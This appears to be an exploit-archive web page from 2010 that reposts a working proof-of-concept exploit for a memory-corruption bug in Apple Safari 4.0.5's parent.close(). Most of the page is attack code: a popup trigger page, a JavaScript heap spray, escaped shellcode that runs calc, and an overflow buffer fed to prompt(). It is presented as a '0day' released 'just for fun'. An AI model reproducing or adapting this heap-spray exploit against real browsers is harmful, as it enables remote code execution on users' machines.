Home / os / win7

Apple Safari 4.0.5 parent.close() (memory corruption) Code E

Posted on 11 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Apple Safari 4.0.5 parent.close() (memory corruption) Code Execution</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>====================================================================
Apple Safari 4.0.5 parent.close() (memory corruption) Code Execution
====================================================================

&lt;!--
Apple Safari 4.0.5 parent.close() (memory corruption) 0day Code Execution Exploit
Bug discovered by Krystian Kloskowski (h07) &lt;h07@interia.pl&gt;
Tested on: Apple Safari 4.0.5 / XP SP2 Polish
Shellcode: Windows Execute Command (calc)
Local: Yes
Remote: Yes (POPUP must be enabled [Ctrl+Shift+K])
Just for fun ;)
--&gt;
 
&lt;!---------------------------------REMOTE.htm---------------------------------
&lt;script&gt;
window.open(&quot;0day.htm&quot;); //parent.close() activation
self.close();
&lt;/script&gt;
-----------------------------------REMOTE.htm--------------------------------&gt;
 
&lt;!---------------------------------0day.htm----------------------------------&gt;
&lt;h1&gt;Alt + F4 :)&lt;/h1&gt;
 
&lt;script&gt;
function make_buf(payload, len) {
    while(payload.length &lt; (len * 2)) payload += payload;
    payload = payload.substring(0, len);
    return payload;
}
 
var shellcode = unescape(&quot;%u9090%u9090&quot;+ //Windows Execute Command (calc)
&quot;%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b&quot;+
&quot;%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca&quot;+
&quot;%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b&quot;+
&quot;%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040&quot;+
&quot;%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0&quot;+
&quot;%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%uf068%u048a&quot;+
&quot;%u685f%ufe98%u0e8a%uff57%u63e7%u6c61%u0063&quot;);
 
 
bigblock = unescape(&quot;%u0D0D%u0D0D&quot;);
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length&lt;slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace&lt;0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i&lt;1000;i++) memory[i] = block + shellcode;
 
var a = parent;
var buf = make_buf(&quot;AAAA&quot;, 10000);
 
for(var i = 0; i &lt;= 1; i++) {
    a.prompt(alert);
    a.prompt(buf);
    a.close();
}
&lt;/script&gt;
&lt;!---------------------------------0day.htm----------------------------------&gt;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-11]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :